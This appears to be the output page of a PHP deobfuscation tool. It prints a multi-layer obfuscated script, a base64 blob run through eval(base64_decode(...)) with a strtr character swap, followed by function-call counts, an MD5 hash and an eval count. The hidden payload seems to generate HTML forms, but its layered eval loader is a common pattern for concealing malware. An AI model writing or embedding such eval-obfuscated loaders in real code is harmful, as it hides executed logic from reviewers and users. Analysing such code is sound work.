REYyWjFzbk5YOTA2akVuWFNBaElDUXg2bWRiSnpWNWRISXhKMTBnUDJBa01YSm5XMjYxZUhSMk1TZGRJRG9nSjI2N0RRb0pJU1F4Nm1kYko4UjQ2RFVuWFNBbUppQWtNWEpuVzJkMGVYQTFKMTBnUFNBbmREVjVkQzY3RFFvSkpERjJaMXNuZERSMGJEVW5YU0FoSUNReDZtZGJKOFEwZEd3MUoxMGdQMkFrTVhKblcyZDBOSFJzTlNkZExpNjNZbklnTHo1bklEb2dKMjY3RFFvSkpERjJaMXNuWXl3eDY4TW5YU0FoSUNReDZtZGJKeU5zTVhOekoxMGdQMkFrTVhKblcyZGpiREZ6NjJkZElEb2dKelJ1NkROMEp6c05DZ2swWmlBb0pERjJaMXNuYmpWOGJEUnVOU2RkS1NCN0RRb0pDWEFvSWp4d1BpUXg2bWRiZERSMGJEVmRQRFJ1NkROMElHTnNNWE56UFZ3aUpERjJaMXRqYkRGejYxMTZJaUJ1TVcwMVBWd2lKREYyWjF0dU1XMDFYVndpSURSa1BWd2lKREYyWjF0dU1XMDFYVndpSUhZeGJETTFQVndpSkRGMloxdHlNV3d6TlYxNklpQjBlWEExUFZ3aUpERjJaMXQwZVhBMVhWd2lJQ1F4Nm1kYjZ6UmNOVjBnSkRGMloxczFlSFIyTVYwZ0x6NTNMOEErSWlrN0RRb0pmU0ExYkhNMUlIc05DZ2tKNkNnaUpERjJaMXQwTkhSc05WMDNORzR3TThRZ1l5d3g2OE1oWENJa01YSm5XeU5zTVhOelhWd2lJRzV4YlRVaFhDSWtNWEpuV3k1eGJUVmRYQ0lnTkdRaFhDSWtNWEpuV3k1eGJUVmRYQ0lnZGpGc016VWhYQ0lrTVhKblc4WXhiRE0xWFZ3aUlIUjQ2RFVoWENJa01YSm5XOFI0NkRWZFhDSWdKREYyWjF0ek5IbzFYU0FrTVhKbld6VjVkSEl4WFNBdlBpSXBPdzBLQ1gwTkNuME5DZzBLWmpOdVk4UTBNbTVnYlRGck5YTTFiRFZqZENna01YSm5JRDBnTVhKMk1Ya29LU2w3RFFvSk5HWWdLQ1F4Nm1kYkp6SnVZeWd4Ym02MUoxMHBJSHNOQ2drSkpESnVZeWd4Ym02MUlEMGdKekp1WXlneGJtNjFQU0luTGlReDZtZGJKekp1WXlneGJtNjFKMTB1SjJJbk93MEtDWDBOQ2dra01YSm5XMmQwTkhSc05TZGRJRDBnSkRGMloxc25kRFIwYkRVblhTQS9JQ1F4Nm1kYko4UTBkR3cxSjEwZ09pQW5KenNOQ2drMFppQW9KREYyWjFzbmJqVjhiRFJ1TlNkZEtTQndLQzYzNkQ1bktUc05DZ2x3S0NJa01YSm5XOFEwZEd3MVhTQTM2elZzTldOMElHTnNNWE56UFZ3aU5HNHdNOFI2SWlBMFpEMTZJaVF4Nm1kYmJqRnROVjE2SWlCdU1XMDFQVndpSkRGMloxdHVNVzAxWFZ3aUlDUTJibU5vTVc0bk5UNWlLVHNOQ2drSk5HWWdLRFJ6WHpGMjZqRjRLQ1F4Nm1kYkp6SndkRFEyYmlkZEtTa2dldzBLQ1FrSlpqSjJOVEZqYUNBb0pERjJaMXNuTW5CME5ESnVKMTBnTVhNZ0pHczFlVDArSkhZeGJETTFLU0I3RFFvSkNRa0pOR1lnS0NReDZtZGJKOE0xYkRWamREVmtKMTBoUFNSck5Ya3BJSHNOQ2drSkNRa0o2Q2dpUERKd2REUTJiaUJ5TVd3ek5UMTZJaVJyTlhsNklpQnpOV3cxWThRMVpENWtkakZzTXpVM0x6SndkRFEyYmo1aUtUc05DZ2tKQ1FsaElEVnM2elVnZXcwS0NRa0pDUWx3S0NJM01uQjBOREp1SUhZeGJETTFQVndpSkdzMWVWd2lQaVJ5TVd3ek5Ud3ZNbkIwTkRKdVBpSXBPdzBLQ1FrSkNYME5DZ2tKQ1gwTkNna0pmUTBLQ1hBb0lqd3Y2elZzTldOMFBpSXBPdzBLQ1RSbUlDZ2tNWEpuVzJkdU5YZHNORzUxSjEwcElIQW9Kend2NkQ1bktUc05DbjBOQ21ZemJtTjBOREp1SUdZMjZtMW9OVEZrS0NReDZtNmdQU0F4Nm5JeGVTZ3BLU0I3RFFvSklTUXg2bWRiSnkwMWRHZzJaQ2RkSUNZbUlDUXg2bWRiSnkwMWRHZzJaQ2RkSUQwZ0o4QTI2OFFuT3cwS0NTRWtNWEpuVzI2eFk4UTBNbTVuWFNBbUppQWtNWEpuVzI2eFk4UTBNbTVuWFNBaElDUnpOV3htT3cwS0NTUXg2bWRiSjhReDZtNjFkQ2RkSUQwZ0pERjJaMXNuZERGMlp6VjBKMTBnUDJBaWRERjJaelYwUFZ3aUpERjJaMXQwTVhKbk5YUmRYQ0lpSURvZ0oyNjdEUW9KSVNReDZtZGJKeTV4YlRVblhTQW1KaUFrTVhKblcyZHVNVzAxSjEwZ1BTQW5aakoyYlRZbk93MEtDWEFvSWp4bU1uSnRJRzV4YlRVaFhDSWtNWEpuV3k1eGJUVmRYQ0lnTkdRaFhDSWtNWEpuV3k1eGJUVmRYQ0lnTVdOME5ESnVQVndpSkRGMloxc3hZOFEwTW00ZFhDSWdiVFYwYURKa1BWd2lKREYyWjF0dE5YUm9NbVJkWENJZ0pERjJaMXQwTVhKbk5YUmRQaUlwT3cwS0NUUm1JQ2drTVhKblcyZDBOSFJzTlNkZEtTQjdEUW9KQ1hBb0p6eG9ZVDVuTGlReDZtZGJKOFEwZEd3MUoxMHVKMkFtNmpGeE16STdQQ2hvWVQ1bktUc05DZ2xoRFFwaERRb0pEUXBtTXk0amREUTJiaUJ0TVdzMWREVjVkQ2drTVhKbklEMGdNWEoyTVhrb0tTbDdEUW9KSVNReDZtZGJKeU0yYkhNblhTQW1KaUFrTVhKblcyZGpNbXh6SjEwZ1BTQXlNREE3RFFvSklTUXg2bWRiSjhJMmQ4TW5YU0FtSmlBa01YSm5XMmQyTW5kekoxMGdQU0I5YVRzTkNna2tNWEpuVzJkME5IUnNOU2RkSUQwZ0pERjJaMXNuZERSMGJEVW5YU0EvSUNReDZtZGJKOFEwZEd3MUoxMHVKenhpNmlBdlBpNmdPaUFuSnpzTkNnbHdLQ0kzNkQ1a01YSm5XOFEwZEd3MVhUeDBOWDkwTVhJMU1TQmpiREZ6NnoxNklqRjJOVEY2SWlBMFpEMTZJaVF4Nm1kYmJqRnROVjE2SWlCdU1XMDFQVndpSkRGMloxdHVNVzAxWFZ3aUlHTTJiSE1oWENJa01YSm5XeU0yYkhOZFhDSWc2ako4NnoxNklpUXg2bWRiNmpKODYxMTZJaUFrTVhKbld6VjVkSEl4WFQ1a01YSm5XOFl4YkRNMVhUd3ZkRFY1ZERGMk5URStQQ2h3UGlJcE93MEtmUTBLRFFwbU15NGpkRFEyYmlCbU1uSnRaakkyZERWMktDUnVNVzAxSUQwZ0oyNnBldzBLQ1NFa2JqRnROU0FtSmlBa2JqRnROU0FoSUNkek15SnROSFFuT3cwS0NYQW9Kenh3UGp3MGJuQXpkQ0JqYkRGejZ6MGlZblFpSUc1eGJUVWhJaTZ1Skc1eGJUVXVKMklnTkdRaFhDSW5MaVJ1TVcwMUxpZDZJaUIwZVhBMVBTSnpNeUp0TkhRaUlIWXhiRE0xUFNKVE15SnROSFFpUGp3djZENW5LVHNOQ2dsd0tDNjNMeVkyNm0wK0oyazdEUXBoRFFvTkNtWXpibU4wTkRKdUlHWTI2bTFtTWpKMEtDbDdEUW9KNkNnblBDaG1Nbkp0UGk2cE93MEtmUTBLRFFvdkwyQW1JeWhwT0hWdk8yWWpieWs4T1Q2N0ppTjlNRGs1T1RzbUl5RnBPV1U1T3cwS1pqTnVZOFEwTW01ZzZISW9KREVwSUhzTkNnazFZeWcySUM2MzZISTFQaTY3RFFvSjZISTBiblJmNmlna01TazdEUW9KTldOb01pQW5QQ2h3NmpVK0p6c05DbjBOQ2cwS1B6NT0nO2V2YWwoYmFzZWM1X2RlNm9kZSgnSkZoWVBXSjk2eVV5TkZoa1pXTnZaR1VvSkZoWUtUc2tYMWdoNjhSMmRISW9KRmhZTEM2eE1qTTBOVFo5YjhWcFpTNnNKeUZ2ZFdsbE1USXpORFV5SjJrN0pGaFNQV1YyWldkZjZtVndiR0ZqWlNnblgxaEdTVXhGWDEzbkxDSW5JaTVrWDBZdUlpNmlMQ1JmV0NrN1pYWjliQ2drWDFJcE8yUmZVajB3TzJSZldEMHdPdz09JykpOz8+";eval(base64_decode("JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCc5ODY1MjF5NGMzaCcsJ2gzYzR5MTI1Njg5Jyk7JF9SPUBlcmVnX3JlcGxhY2UoJ19fRklMRV9fJywiJyIuJF9GLiInIiwkX1gpO2V2YWwoJF9SKTskX1I9MDskX1g9MDs="));
Function Calls
strtr | 2 |
ereg_replace | 2 |
base64_decode | 4 |
error_reporting | 1 |
Stats
MD5 | 791a4902ed74438bdd2c0ff062d29ad0 |
Eval Count | 4 |
Decode Time | 265 ms |